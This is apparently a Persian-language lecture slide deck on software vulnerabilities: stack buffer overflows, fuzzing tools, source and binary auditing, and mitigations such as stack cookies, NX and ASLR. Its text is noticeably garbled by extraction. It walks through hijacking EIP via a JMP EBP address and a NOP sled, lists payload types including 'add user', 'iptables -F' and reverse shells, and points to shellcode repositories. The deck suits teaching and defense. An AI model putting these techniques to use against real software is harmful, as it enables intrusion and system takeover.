Softwares : Vuln discovery , attack and deffence technologies
1. مشکلت امنیتی نرم افزارها
مروری بر روش های کشف ، حمله و مقابله
سید حمید کشفی
Hamid@OISSG.org
5 تیر ماه 7831
2. مواردی که به آنها خواهیم پرداخت
بررسی روش های حمله به نرم افزارها
نرم افزارهای کاربردی
مروری بر حملت سرریز بافر
نرم افزارهای تحت وب
مروری بر حملت رایج )(… ,SQLi, XSS, Harvesting
بررسی روش های کشف ضعف های امنیتی
بازبینی کد )(Source-code Audit
Fuzzing & Fault-Injection
Binary Analyzing
بررسی روش های مقابله با حملت
سیستم های محافظتی موجود در سطح سیستم عامل و سخت افزار
سیستم های محافظتی ایجاد شده توسط نرم افزارهای جانبی
2
3. حمله به نرم افزار – نرم افزارهای کاربردی
ضعف امنیتی در نرم افزار چیست ؟
منظور از Exploitکردن یک ضعف امنیتی ؟
اهداف استفاده از ضعف های امنیتی نرم افزار
ایجاد اختلل در روال کار نرم افزار یا سیستم )(DoS
اجرای دستورالعملی خارج از روال معمول اجرای نرم
افزار)(Controling Software
بدست گرفتن کنترل کامل نرم افزار یا سیستم
عامل)(Controling System
Payload چیست ؟
3
4. نرم افزارهای کاربردی – حملت سرریز بافر
بررسی روال اجرای یک نرم افزار
اختصاص یک محدوده آدرس در حافظه برای بارگذاری
دستورالعمل ها و اطلعات لزم
بارگذاری سگمنت های تعریف شده در نرم افزار
:text. حاوی دستورالعمل های اجرایی برنامه
:bss. حاوی اطلعات و متغیر های تعریف نشده )(uninitialized data
:data. حاوی اطلعات و متغیر های تعریف شده )(static initialized data
اختصاص فضای Stackو Heap
4
5. نرم افزارهای کاربردی – حملت سرریز بافر
سرریز بافر زمانی رخ میدهد که حجم اطلعات کپی شده به بافر ،
بیشتر از میزان مشخص شده برای بافر باشد.
#<include <stdio.h
(Int main (int arge , char **argv
}
chartarget]5[=”“AAAA
;(“strcpy(target, “AAAAABBBBCCCC
;(“Printf(“%n“,target
0 ;Return
{
5
6. نرم افزارهای کاربردی – حملت سرریز بافر
Stack Overflow بررسی یک کد آسیب پذیر به
#include <iostream.h>
#include <stdio.h> 12345...
#include <conio.h>
#include <stdio.h>
int Hijack()
{ cout << "This function should be hijacked!";
getchar(); ....ABCD
return 0; }
EIP
int Function1()
{ char var1[15];
cout << "_________1234567890abcd" <<
endl; Main()
cout << "Enter Var1:";
cin >> var1;
cout << var1 << endl;
return 0; } Hijack()
int main()
{ Function1();
getchar(); 6
return 0; }
8. نرم افزارهای کاربردی – حملت سرریز بافر
استفاده از قابلیت تغییر EIPبرای کنترل نرم افزار وفراخوانی توابعی که در روال اجرای
معمولی برنامه , فراخوانی نمیشوند
...54321
6543210.....
) EBP ( AAAA
) 05010400( EIP
)(Main
)(Hijack
8
9. نرم افزارهای کاربردی – حملت سرریز بافر
با استفاده از روش ذکر شده ، میتوان اقدام به اجرای کد و دستورات دلخواه
نمود
با توجه به اینکه داده های ارسالی ما مستقیمآ در حافظه درج میشوند ،
دستورات می بایست به زبان ماشین باشد.
به دستوراتی که برای اجرا در حافظه درج میشوند اصطلحآ Payloadگفته
میشود
رعایت نکردن نکاتی همچون عدم استفاده از کاراکترهای خاص )00(0x
باعث بروز مشکل خواهد شد
برای اینکه بتوانیم دستورات دلخواه خود را اجرا کنیم ، میبایست آدرس دقیق
آنها را پس از درج در حافظه بدانیم
روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد ~
9
10. نرم افزارهای کاربردی – حملت سرریز بافر
...54321 از دید پردازنده ، تفاوتی میان دستورالعمل ها و داده ها وجود
[]Injected Payload ندارد . ورودی داده شده درصورتی که دستور زبان ماشین
معتبر باشد اجرا خواهد شد.
6543210..... یکی از روش های تزریق Payloadدرحافظه ، ارسال آن در
قالب پارامترهای ورودی نرم افزار میباشد
) EBP ( AAAA
سرریز بافر میتواند هم در فضای Stackو هم در فضای
)}EIP (0x{Payload Offset
Heapرخ دهد
بسته به محل وقوع سرریز )(stack / Heap overflow
)(Main نحوه تغییر روال اجرای برنامه و پرش به محل Payload
متفاوت بوده وتکنیک ها و روش های مختلفی برای هر حالت
وجود دارد.
)(Hijack قابلیت بازنویسی EIPالزامی نیست ! در نظر داشته باشید که
بازنویسی هر یک از ثبات ها میتواند در نهایت منجر به اجرای
000x
Payloadگردد
01
11. نرم افزارهای کاربردی – حملت سرریز بافر
روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد:
آدرس های بارگذاری توابع و Dllها بسته به هر نسخه نرم افزار ، سیستم عامل و حتی Service
Packتغییر میکند
در برخی موارد ، آدرس ها و offsetهای ثابت که در تمامی نسخ یکسان هستند نیز وجود دارند
نیاز به آگاهی از آدرس دقیق دستورات درج شده ) (Payloadدر حافظه
بر خلف ، Linuxتخمین آدرس دقیق Stackدر ویندوز براحتی امکانپذیر نیست
استفاده از تکنیک Return-to-lib/dll
استفاده از NOP Sled
محدودیت در حجم دستوراتی که میتوان در بافر درج کرد
استفاده از بخش های مختلف حافظه که قابلیت تزریق در آنها وجود دارد ، و پرش بین آنها
استفاده از Payloadهای چند مرحله ایی
محدودیت در استفاده ازکاراکترهایی که در حافظه درج میگردد
شناسایی کاراکترهایی که پس از تزریق در حافظه دستکاری میشوند
Encodeکردن Payloadبرای پرهیز از وجود کاراکترهای خاص
نحوه ارسال دستورات به نرم افزار
11
12. نرم افزارهای کاربردی – حملت سرریز بافر
در زبان ماشین ، امکان مقدار دهی به EIPبصورت مستقیم وجود ندارد ) مقادیر سایر ثبات ها توسط
دستوراتی چون ... JMP MOV CALLبه EIPداده میشوند (
در مثالی که پیش از این ذکر شد ، با فرض اینکه ما امکان بدست آوردن آدرس دقیق Payloadبرای
استفاده دربازنویسی EIPرا در نداریم ، میبایست از مقدار بازنویسی شده سایر ثبات ها استفاده کنیم .
EBP بازنویسی شده ، پس باید به دنبال دستورالعملی باشیم که محتوای EBPرا در EIPدرج کند
)(JMP EBP
قدم بعد ، بازنویسی EBPبرای اشاره به آدرسی از حافظه است که در آن دستورالعمل JMP EBP
وجود داشته باشد
نکته : توابع کتابخانه ایی پویا) (DLLهمواره در آدرس های مشخصی از حافظه بارگزاری میشوند . در
هر یک از DLLهای موجود در حافظه ممکن است بخشی از دستورات ، دستورات مورد نظر ما باشد
ایده : جستجوی محدوده آدرس توابع کتابخانه ایی برای دستورالعمل مورد نظر ما ، و بدست آوردن آدرس
) (offsetآن دستورالعمل
استفاده از ابزارهایی مانند FindJump
بازنویسی EIPبا 0x7c822cacمحتویات EBPرا در EIPبازنویسی میکند
بدین ترتیب بدون نیاز به درج آدرس Payload
بطور مسقیم در ، EIPآنرا اجرا میکنیم
نتیجه : پایداری بیشتر در روال حمله
21
13. نرم افزارهای کاربردی – حملت سرریز بافر
نتیجه نهایی ، نمایی از Stackپس از حمله
[… GET / AA….A[ 0x90 Nop] [ JMP ] ]overwrite EBP[ ]Overwrite EIP[ [NOP] ]…. Payload
5 3 6
AA...A NOP Sled jmp EBPEIP NOP Payload
4 EIPبا آدرسی که به jmp ebdاشاره دارد بازنویسی میشود 1.
پردازنده به آدرس مراجعه کرده و دستور اجرا میشود 2.
2 1
محتویات EBPکه به محل Nop Sledدر حافظه اشاره دارد ، در EIP 3.
بازنویسی میشود
Jmp ebp پردازنده با توجه به ، EIPبرای ادامه اجرای دستورات به آدرس Nop Sled 4.
مراجعه میکند
Kernel32.dll
پس از پایان Nopپردازنده به دستور پرش به Nop Sledدوم میرسد 5.
Nop Sledدوم اجرا شده و روال در نهایت به اجرای Payloadختم میگردد. 6.
31
14. حملت سرریز بافر – بررسی Payloadها
به مرحله اجرای Payloadرسیدیم . چه انتخاب هایی پیش رو داریم ؟
مراحل ادامه حمله پس از بارگذاری موفقیت آمیز ، Payloadاصطلحآ Post Exploitationخوانده میشوند.
وجه مشترک همه Payloadها : بر اساس زبان ماشین
وجه تمایز : اجرای Payloadدر حافظه هر Platformو معماری پردازنده ، میبایست بر اساس همان شرایط باشد.
برای تهیه و نوشتن Payloadبرای هر معماری میبایست از زبان ماشین همان پردازنده استفاده شود ), 46/23IA
SPARC , PowerPC, MIPSو... (
دستوراتی که Payloadقصد اجرای آنرا دارند ، میبایست منطبق با سیستم عاملی باشد که به آن حمله میشود.
برخی از Payloadهای رایج :
اجرای دستورات بر روی سیستم عامل ) ( … , add user , iptables –F
فراهم کردن دسترسی از راه دور به سیستم هدف ) (Reverse/Bind Shell
فراهم کردن دسترسی پیشرفته از طریق Payloadهای پیچیده )( Meterpreter , MOSDEF
Proxyکردن فرامین زبان ماشین به سیستم هدف ، برای اجرا )( SysCall Proxying
در شرایط معمولی ، میتوان از Shellcodeهای از پیش آماده شده استفاده کرد
/http//:milw0rm.com/shellcode
http//:metasploit.org/data/shellcode/win32msf20payloads.tar.gz
بسته Metasploit Frameworkبیش از یکصد Payloadآماده برای استفاده درشرایط ، سیستم عامل ها و معماری های
مختلف پردازنده را در اختیار قرار میدهد. )( www.metasploit.org
41
15. حملت سرریز بافر – Exploit Frameworks
همانطور که بررسی شد ، پیاده سازی یک حمله سرریز بافر مستلزم طی
مراحل مختلف میباشد
انجام برخی مراحل مستلزم تولید کد/ابزارهای خاص برای سرعت بخشیدن به کار میباشد
تولید Payloadها و بهینه سازی و آزمایش آنها امری زمان بر و نیازمند تجربه میباشد
در صورت لزوم پرهیز از کاراکترهای خاص ، پروسه تولید یا Encodeکردن
Payloadمیبایست تکرارشود
برای استفاده از یک ضعف امنیتی در شرایط مختلف ، میبایست از Payloadهای
متفاوتی استفاده گردد
با هربار نیاز به ایجاد تغییر جزئی در کد اکسپلویت ، کد میبایست مجددآ کامپایل و مورد
استفاده قرار گیرد
وجود یک مجموعه از ابزارها و امکانات در کنار یکدیگر که صرفآ برای
آنالیز و تولید کد های اکسپلویت برای حملت سرریز بافر تولید شده ، کمک
بزرگی محسوب میگردد.
51
16. حملت سرریز بافر – Exploit Frameworks
Exploitation Frameworkهای موجود به ما کمک میکنند تا
تنها یکبار اقدام به معرفی مشخصات ضعف امنیتی پرداخته و پس از آن بدون نیاز به
تغییر خاصی در کد ، بارها و در شرایط مختلف از آن استفاده کنیم
نگران مراحل زمانگیر تولید و تست Payloadهای مختلف نباشیم
براحتی و با استفاده از Encoderهای موجود ، مشکل کاراکترهای فیلتر شده )Bad
(charsرا حل کنیم
از امکانات موجود در Payloadهای پیشرفته استفاده کنیم
تعداد خطوط کد لزم برای تولید یک اکسپلویت بسیار کاهش میبابد
کمتر از 5 خط کد در محیط Frameworkمعادل ده ها خط کد در یک اکسپلویت مستقل!
معرفی Metasploit Frameworkو امکانات آن
ابزارهای کمکی برای طی مراحل اولیه
تولید Patternبرای سرریز کردن بافر )(pattern_create.rb
محاسبه سایز بافر ، و تعداد بایت لزم برای سرریز کردن بافر )(pattern_offset.rb
بانک اطلعاتی بسیار کامل برای یافتن offsetهای مختلف و مناسب )
(/http://metasploit.org/opcodedb
61
18. حملت سرریز بافر – علت بروز مشکل
حملت سرریزبافر ناشی از اشتباهات برنامه نویس در استفاده از توابع زبان
برنامه نویسی هستند.
بسیاری از توابع ، به خودی خود ورودی/خروجی خود را کنترل نمیکنند
انتظار میرود که برنامه نویس پیش از استفاده از چنین توابعی ، حجم و نوع
اطلعات ارسالی/دریافتی از تابع را کنترل کند تا از بروز مشکل جلوگیری
شود.
برخی از توابع که استفاده از آنها بدون کنترل قبلی ، منجر به سرریز بافر
میگردد : )(strcat() , strcpy() ,sprintf() , vsprintf() , bcopy
(),gets() ,scanf
استفاده از توابع کتابخانه ایی که دارای مشکل هستند ، برنامه شما را نیز
دوچار مشکل امنیتی میکنند.
81
19. حملت سرریز بافر – علت بروز مشکل
Vulnerable Function Function’s Purpose Why Vulnerable
Memcpy() Copies one part of the memory to another, taking It can place too much data, into too small a buffer,
two a source, a destination and a number of thus causing an overflow.
bytes as arguments.
Gets() Receives data from the user, and places it into a Doesn’t check how much data has been placed in
buffer. the buffer, perhaps too much!
Sprintf() Places formatted data into a buffer, replacing It doesn’t check how much data is being placed
arguments with data, for example ‘%s’, ‘hi’ into the buffer.
being written to buffer[5]; would result in
not ‘%s’ being placed in the buffer, but ‘hi’.
Strcat() Sticks one buffer onto the end of another. Doesn’t check that the data being added will fit
within the buffer limits/
Strcpy() Copies the content of one buffer to another. Once again, the destination length is not compared
with the source length.
19
20. شناسایی مشکلت امنیتی نرم افزار
تکنیک ها و روش های متفاوتی برای شناسایی ضعف های امنیتی موجود در
نرم افزارها وجود دارد
بررسی کد )(Source-Code Audit
Fuzzing & Fault-Injection
Binary (Static/Dynamic) Analyze
بسته به شرایط ، امکانات ودقت عمل لزم از یک یا ترکیبی از چند روش
برای آنالیز یک نرم افزار استفاده میشود
الزامآ پیچیده ترین روش ، همیشه بهینه ترین روش نیست !
اگرچه بسیاری از تکنیک های کشف و شناسایی مشکلت امنیتی بصورت
Automatedنیز دراختیارهستند ، اما همواره نیاز به یک کاربر مسلط و با
تجربه وجود دارد.
لزومآ هر مشکل سرریز بافر شناسایی شده ، قابل استفاده برای اجرای
کد/دستور نیست .
02
21. شناسایی مشکلت امنیتی نرم افزار – Code Audit
بررسی کد )(Source-Code Audit
)(...()strcat(), strcpy() ,sprintf(), vsprintf جستجو برای شناسایی توابع پر خطر
کنترل روال برنامه ، برای شناسایی مشکلت منطقی )(Logical
روال جستجو بصورت ) Staticبدون اجرای کد ( و ( Dynamicاجرا و بررسی کد (
وجود یک تابع آسیب پذیر در کد ، به معنی وجود مشکل امنیتی نیست
بررسی و خواندن کد عملی خسته کننده و زمانبر است.
حتی نرم افزارها و توابع ساده ، متشکل از چندین هزارخط کد میباشند.
یکی از روش های تسریع بررسی ، تمرکز بر روی بخش هایی از کد است که
احتمال وجود مشکل در آنها بالست ) توابع دریافت ورودی ، خواندن و نوشتن
داده و ... (
12
22. شناسایی مشکلت امنیتی نرم افزار – Code Audit
بررسی کد )(Source-Code Audit
استفاده از ابزارهای Automatedبرای بررسی کد
ابزارهای آزاد و تجاری بسیاری بدین منظور تولید شده
سرعت عمل این ابزارها در مقایسه با روش معمولی ، بسیار بالست
ابزارها غالبآ برای بررسی یک یا چند زبان برنامه نویسی خاص طراحی میشوند
درصد گزارش های خطا ) (False Positiveدر اینگونه ابزارها بالست
این قبیل ابزارها قادر به تشخیص و گزارش مشکلت امنیتی ناشی از خطاهای Logical
نیستند
استفاده از این ابزارها به تنهایی ، برای بررسی امنیتی یک نرم افزار هرگز کافی نیست
لیستی از ابزارهای Automatedبرای : Static Code Audit
http//:en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis
//:httpsamate.nist.gov/index.php/Source_Code_Security_Analyzers
22
23. شناسایی مشکلت امنیتی نرم افزار- Fuzzing
Fuzzing & Fault-Injection
هزینه کمتر در مقایسه با سایر روش ها ، به نسبت بازدهی
قابلیت پیاده سازی با پیچیدگی کمتر ، در مقایسه با سایر روش ها
بررسی BlackBoxنرم افزار برای کشف مشکلت
تولید ورودی های تصادفی اما کنترل شده ، که منجر به ایجاد اختلل در
روند کار نرم افزار گردد.
تغذیه نرم افزار و پارامتر ها با داده های کامل تصادفی
تغذیه نرم افزار و پارامترها در قالب پروتکل ها و استانداردهای مشخص ، اما با
پارامترها و مقادیر تصادفی
داده های تولید شده توسط Fuzzerباید آنقدر حساب شده باشند تا از دید
نرم افزار قابل دریافت و محاسبه باشند ، و در عین حال آنقدر تصادفی و
مامتعارف که بتوانند نرم افزار را دوچار اختلل کنند.
32
24. شناسایی مشکلت امنیتی نرم افزار- Fuzzing
تکنیک های مختلف : Fuzzing
Session Data Fuzzers
بررسی اطلعات و پارامترهای رد و بدل شده در یک sessionمعتبر وسعی در دستکاری پارامترها و
ارسال آنها
پیاده سازی این روش بسیار ساده میباشد
Specialized Fuzzers
بررسی کلیه پارامترها و خواص یک پروتکل/استاندارد خاص در قالب Fuzzing
نیازمند تولید ابزار/اسکریپت خاص برای هر پروتکل
کارآمدی Fuzzerوابسته به کیفیت پیاده سازی پروتکل و تعریف پارامترهای آن برای Fuzzingمیباشد
تولید این دسته از Fuzzerها نیازمند اشراف کامل و دقیق به پروتکل تحت بررسی دارد
استفاده از این قبیل Fuzzerها نیاز به دانش فنی بالی کاربر ندارد
Fuzzerهای اختصاصی برای … , SIP , SSL , SMTP , SNMP , RPC
Generic Fuzzers
قابلیت Fuzzingپروتکل های متعدد
کاربر میبایست اقدام به تعریف پروتکل مورد نظر خود تحت امکانات Fuzzerبنماید
تمام پارامترهایی که می بایست بررسی شوند ، توسط کاربر به Fuzzerمعرفی میشوند
استفاده از این دسته Fuzzerها برای کاربران عادی مشکل است
کیفیت تست یک پروتکل خاص توسط این دسته ، در مقایسه با Specialized Fuzzerها کمتر است.
42
25. شناسایی مشکلت امنیتی نرم افزار- Fuzzing
نمیتوان انتظار داشت که همیشه جایگزینی مقدار یک پارامتر در پروتکل با داده ایی بزرگتر ،
از دید نرم افزار معتبر باشد
در بسیاری از پروتکل ها )خصوصآ پروتکل های باینری( بدلیل ماهیت داده ها ، نیاز به
تفکیک فیلد های مختلف داده ها از یکدیگر میباشد.
حداقل اطلعات مربوط به هر فیلد میتواند شامل سایز فیلد و داده آن فیلد باشد
در صورتی که بدون در نظر گرفتن این مورد اقدام به دستکاری محتوای یک پروتکل گردد،
پارامترهای Fuzzشده یک فیلد ، اطلعات فیلد های بعد از خود را تخریب میکند = غیر
معتبر شدن آن درخواست از دید نرم افزار
مفهوم Block Based Fuzzingبر همین اصل استوار است . محاسبه پویای سایز هر
فیلد ، کل بسته درخواست و چیدن همه پارامتر های معتبر و تحت بررسی در کنار یکدیگر ،
در زمان تولید یک درخواست برای نرم افزار
مثال ساده : در بررسی پروتکل HTTPو ارسال یک درخواست POSTنمیتوان تنها
پارامترها را دستکاری و ارسال نمود ، بلکه در هر درخواست میبایست مقدار صحیح پارامتر
content-lenghtمحاسبه شده و در درخواست درج گردد.
، SPIKEیک نمونه General Fuzzerکه بر مبنای Block-Based Fuzzingکار
میکند
52
26. شناسایی مشکلت امنیتی نرم افزار- Fuzzing
اهداف Fuzzerها و کاربرد آنها
بررسی پروتکل های ارتباطی شبکه )Routing protocols, IP
( … , stack
بررسی پروتکل های تحت شبکه ),ssh,ftp,smtp,ssh,http,snmp
…(
بررسی توابع , آرگومان ها و پارامترهای یک نرم افزار خاص
بررسی مشکلت مربوط به خواندن ) (parseاطلعات از فایل ورودی
بررسی بسته های نرم افزاری خاص )-browser,mail-client,ftp
(clients
بررسی قابلیت ها و پارامترهای خاص ، در یک پروتکل خاص
} . . . هر نوع پارامتر ، داده و یا قابلیتی که به نحوی در روند کار نرم
افزار دخیل است! {
62
27. شناسایی مشکلت امنیتی نرم افزار- Fuzzing
Fuzzing Frameworks
قابلیت عمل بصورت Generic Fuzzerیا Specialized Fuzzer
غالبآ توسط زبان های اسکریپت نویسی تولید میشوند
APIهای مختلفی را برای Fuzzingدر اختیار قرار میدهند
از پروتکل های )تحت شبکه( زیادی پشتیبانی میکنند
قابلیت گسترش و افزودن پروتکل های جدید به framework
Fuzzerها نسبت به گذشته تحولت بسیاری داشته اند
مانیتور کردن نرم افزار تحت بررسی
کنترل کردن روال اجرای نرم افزار توسط debuggerهمزمان با Fuzzing
فراهم آوردن مجدد شرایط بصورت خودکار ، در صورت بروز اختلل در طول
) Fuzzingمانند crashکردن نرم افزار(
مانیتور کردن و ذخیره فعالیت های انجام شده در زمان Fuzzingو ...
““Sulley Fuzzing Framework
http//:www.fuzzing.org/wp-content/Amini-Portnoy-BHUS07.zip
72
28. شناسایی مشکلت امنیتی نرم افزار- Fuzzing
برخی از Fuzzerهای موجود
:PROTOSبررسی موثر پروتکل هایی همچون SNMP ,SIPو ...
:CodeNomiconشرکتی تجاری ، اراده دهنده Fuzzerبرای بیش از 08 پروتکل
مختلف ، وابسته به تیم تحقیقاتی بنیانگذار PROTOS
SMUDGE :General Fuzzing Frameworkبرای پروتکل های تحت شبکه
: SPIKEیکی از شناخته شده ترین Fuzzerهای Generalبرای پروتکل های تحت
شبکه
: Peachیک frameworkمبتنی بر Pythonبا پشتیبانی از پروتکل های متعدد
: MangleMeیک fuzzerبرای بررسی Browserها
: Mangleیک فازر برای بررسی File-format
IRCfuzz :IRC Client Fuzzer
COMBust :COM Object fuzzer
لیستی از برخی دیگر از Fuzzerهای شناخته شده
http//:www.fuzzing.org/fuzzing-software
82
30. شناسایی مشکلت امنیتی نرم افزار- Binary Analyze
در صورت در دسترس نبودن کد نرم افزار ، این روش بسیار کارآمد ، و درعین حال مشکل
میباشد
بسیاری از مشکلت امنیتی که در نرم افزارهای کد باز رفع شده اند هنوز در نرم افزارهای
انحصاری) (closed-sourceدیده میشوند
این روش هنوز یک تکنیک نوپا و ناقص بشمار می آید
همانند بررسی کد ، در این روش نیز روند و منطق نرم افزار بررسی میگردد ، اما به روش
مهندسی معکوس!
نیازمند درک و تجربه بال در بررسی زبان ماشین
اگرچه تکنیک Fuzzingدر بررسی نرم افزارهای closed-sourceبسیار مفید میباشد اما
بررسی تمام قابلیت ها و توابع نرم افزار توسط Fuzzingبسیار مشکل و گاهآ نا ممکن است
)(Low Code Coverage
Binary Auditمحدوده بیشتری )در واقع کل( از نرم افزار را پوشش می دهد.
همانند بررسی کد ، توابع آسیب پذیر در فایل باینری نیز دارای مشخصه خاص خود هستند
03
31. شناسایی مشکلت امنیتی نرم افزار- Binary Analyze
روش ها و دیدگاه های مختلف انجام Static Binary Analyze
جستجوی Patternهای مربوط به فراخوانی توابع آسیب پذیر مانند strcpy,strcat,sprintfو سایر موارد
مشابه
در صورتی که کیفیت کد نرم افزار پایین باشد و یا هدف یک بررسی سریع و سطحی باشد از این روش استفاده میشود
آنالیز و بررسی حلقه ها) (loopو توابع read/writeمشکوک
:A variable indexed write into a character array
:A variable indexed write to a local stack buffer
:A write to a pointer, followed by an increment of that pointer
:A sign extended copy from an attacker-controlled buffer
بررسی منطق نرم افزار . برخی از ضعف های امنیتی هیچ ارتباطی با مشکلت Memory corruption
نداشته و ناشی از منطق اشتباه نرم افزار در برخورد با داده ها هستند.
مثال : مشکل امنیتی IIS Double Decode
کشف این دسته از مشکلت توسط Binary Auditبسیار مشکل میباشد
بررسی تفاوت های بین نسخه های مختلف یک برنامه آسیب پذیر )(Diffing
ممکن است جزئیات مشکل امنیتی دقیقآ منتشر نشود ، اما آگاهی از آنها لزم باشد
ممکن است تولید کننده نرم افزار بدون اعلم عمومی ، اقدام به رفع یک مشکل امنیتی در نرم افزار کند
استفاده از ابزارهایی که تفاوت های میان دو نسخه متفاوت از یک فایل را نمایان میکنند )(BinDiff
-http//:www.breakingpointsystems.com/community/blog/exploiting-iis-via-htmlencode
http//:www.zynamics.com/files/ms08001.swf
در همه این موارد ، استفاده از ابزارهای پیشرفته برای کمک به بررسی ، اجتناب ناپذیر است
بررسی گراف های رسم شده بر اساس بخش های مختلف نرم افزار ، کار را بسیار آسان تر میکند
قابلیت های رسم گراف در نرم افزار IDA Proو نرم افزار جانبی BinNavy
13
33. Binary Analyze -شناسایی مشکلت امنیتی نرم افزار
، ناشی از استفاده اشتباه ازMS-SQL مثال : مشکل سرریز بافر در
()sprintf
mov edx, ]ebp+var_24C8[ ;متغیر با سایز4201 بایت که از پکت ارسالی خوانده میشود
push edx
push offset aSoftwareMic_17 ; ”SOFTWAREMicrosoftMicrosoft SQL
Server”...
push offset aSSMssqlserverC ; ”%s%sMSSQLServerCurrentVersion”
lea eax, ]ebp+var_84[ ; ! بافر پشته با سایز821 بایت
push eax
call ds:sprintf
add esp, 10h
()strcpy ، ناشی از استفاده اشتباه ازMS-SQL مشکل امنیتی دیگری در
mov eax, ]ebp+arg_4[
add eax, ]ebp+var_218[
push eax
lea ecx, ]ebp+var_214[ ; بافر پشته با حجم215 بایت که محتوای آن از پکت
دریافت شده و بدون کنترل سایز کپی میشود
push ecx
call strcpy
add esp, 8
33
34. شناسایی مشکلت امنیتی نرم افزار
سه روش کلی یاد شده هر یک به تنهایی میتوانند نتیجه های خوبی را در حاصل شوند
ترکیب روش های فوق ، بازدهی آنالیز را بسیار افزایش میدهد
یک دیدگاه در این مورد ، ترکیب Fuzzingبا آنالیز کد میباشد
همزمان با ، Fuzzingسورس کد نیز بررسی میگردد تا میزان cove-coverageدر زمان
Fuzzingمشخص گردد .
با این روش میتوان مشخص کرد که کدام یک از بخش های نرم افزار یا کد توسط Fuzzerپوشش
داده شده ، و کدام بخش ها عمل بررسی نشده
http//:en.wikipedia.org/wiki/Code_coverage
دیدگاه دیگر ، ترکیب Fuzzingبا آنالیز Binaryدر زمان اجرای نرم افزار میباشد.
استفاده از Debugger/Disassemblerها برای راهنمایی Fuzzerها
افزایش Code Coverageدر Fuzzing
مقاله جالب “http//:uninformed.org/v?=all&a=t&27=pdf “Effective Bug Discovery
“E volutionaryF uzzingSystem“ یک frameworkبا دیدی جدید نسبت به Fuzzing
فراگرفتن پروتکل های جدید بصورت پویا و کمک گرفتن از آنالیز نرم افزار در زمان اجرا
http://www.vdalabs.com/tools/efs_gpf.html
43
35. مقابله با حملت سرریز بافر
اولین و بهترین روش مقابله با این دسته از مشکلت امنیتی ، رعایت نکات امنیتی در زمان
تولید نرم افزار میباشد
استفاده از متدلوژی SDLCدر تولید نرم افزار
مقابله به روش پیشگیری ، تنها در صورتی ممکن است که سورس کد نرم افزار در دسترس
باشد ،
اما مشکلتی نیز وجود دارد !
نرم افزارهای قدیمی
عدم دسترسی به Developer
عدم آگاهی Developerاز نکات امنیتی
اشتباهات برنامه نویسی
نرم افزار های ! Closed-Source
راهکارهایی برای مقابله با این قبیل مشکلت وجود دارند ، اما هیچ یک مشکل را بطور کامل
حل نکرده و تنها شرایط برای استفاده از مشکل امنیتی را مشکل تر می کنند .
بسته به شرایط و اختیارات و امکانات در دسترس ، از یک یا چند راهکار استفاده میشود.
53
36. مقابله با حملت سرریز بافر
دیدگاه های مختلفی برای مقابله با حملت سرریز بافر وجود دارد و
بر همین اساس روش های مختلف نیز:
تشخیص مشکلت امنیتی در خلل روند تولید ، و گوشزد کردن آنها
سعی در پیشگیری از بروز مشکلت سرریز بافر و اضافه کردن تمهیداتی
به برنامه ، در زمان کامپایل کردن
پیاده سازی تمهیدات امنیتی در سطح سیستم عامل برای تشخیص و یا مقابله
با حملت سرریز بافر
استفاده از بسته های نرم افزاری الحاقی به سیستم عامل ، برای جبران
کمبود های امنیتی سیستم عامل
استفاده ازبسته های نرم افزاری جانبی ، برای جبران و یا تکمیل کمبود
های امنیتی سیستم عامل
ترکیب امکانات امنیتی سیستم عامل با امکانات اراده شده توسط پردازنده
63
37. مقابله با حملت سرریز بافر
کامپایلرهای امن
Visual Studio >2003
محافظت در برابر حملت سرریز بافر در Stack
اساس بخش زیادی از امنیت در مقابل حملت stack overflowدر ویندوز سرور 3002 1 SPو 2 XP SPو
نسخه های جدید تر
اضافه کردن بخش هایی به کد در زمان کامپایل ) (Buffer Security Checksبرای کنترل صحت return
addressها و سایر بخش های مهم Stack
آشنایی با مفهوم Stack Cookies
اضافه شده به Visual Studioاز نسخه 3002 و فعال بصورت پیشفرض
/ GSمشکلت امنیتی را حل نمیکند بلکه استفاده از آنها را مشکل میکند
تکنیک هایی برای دور زدن این مکانیزم امنیتی وجود دارد
بازنویسی اشاره گر SEHبرای اجرای کد در حافظه
http//:www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
استفاده از / SafeSEHبرای محافظت از اشاره گر SEHو مقابله با مشکل /GS
کلیه بخش های نرم افزار میبایست توسط این مکانیزم کامپایل شده باشند. وجود برنامه ها / توابع کتابخانه ای محافظت
نشده ، کل سیستم را تهدید میکند
ماژول های اضافه شده به ( GCC (…, StackGuard , ProPolice
آستفاده از ایده Stack Canaries
قابل استفاده در 1.3> GCCبا سویچ -fstack-protector
فعال بصورت پیشفرض در 1.4> GCC
تکنیک هایی برای دور زدن این مکانیزم امنیتی :
http//:www.coresecurity.com/files/attachments/Richarte_Stackguard_2002.pdf
73
38. مقابله با حملت سرریز بافر
امکانات ارائه شده توسط پردازنده
(NX Bit (No eXecute
تقسیم نواحی مختلف حافظه برای ذخیره داده ها و یا دستورات پردازنده
پیدا سازی شده در پردازنده های Intelاز نسل Pentium 4 ،AMDو . SPARCپردازنده های 46 بیتی پیش از انواع 23 بیتی به این
قابلیت مجهز شدند
پردازنده مجهز به NX/DXبه تنهایی قادر به جلوگیری از حملت نیست بلکه این قابلیت میبایست توسط سیستم عامل به کار گرفته شود
تقریبآ تمامی سیستم های عامل کنونی ) نسخ جاری و جدید ( هر یک به نحوی از این قابلیت استفاده میکنند.
NX bitدر واقع اشاره به آخرین بیت معنی دار از Page table entryدر حافظه دارد . 0 بودن این بیت به معنی executableبودن
محتوای این بخش ) (pageو 1 بودن به معانی این است که این بخش تنها حاوی داده ها است.
در سیستم های 32bitاین بیت در واقع وجود ندارد و این راهکار بصورت Software Emulatedاجرا میگردد
NXامکان مقابله با حملت Stack Overflowو Heap Overflowرا میسر میکند
تمهیدات پیاده سازی شده در سطح سیستم عامل
بسیاری از قابلیت های امنیتی پیاده سازی شده در سطح سیستم عامل مبتنی بر NXمیباشد و هر سیستم عامل نسخه و روشی
مربوط به خود را معماری کرده و بکار می برد .
در صورت عدم وجود CPUمجهز به NXاین قابلیت بصورت کامل مجازی پیاده سازی میگردد
) (A ddressS paceL ayoutRandomizationیکی دیگر از تکنیک های مورد استفاده برای مقابله با حملت سرریز
بافر میباشد
مفهوم ASLRدر سیستم عامل های مختلف با نام های مختلفی پیاده سازی شده اما وجوه مشترک بسیاری میان آنها وجود دارد
ASLRبصورت تصادفی اقدام به موقعیت دهی به بخش های مختلف یک پروسه در حافظه مینماید که عمومآ شامل Base
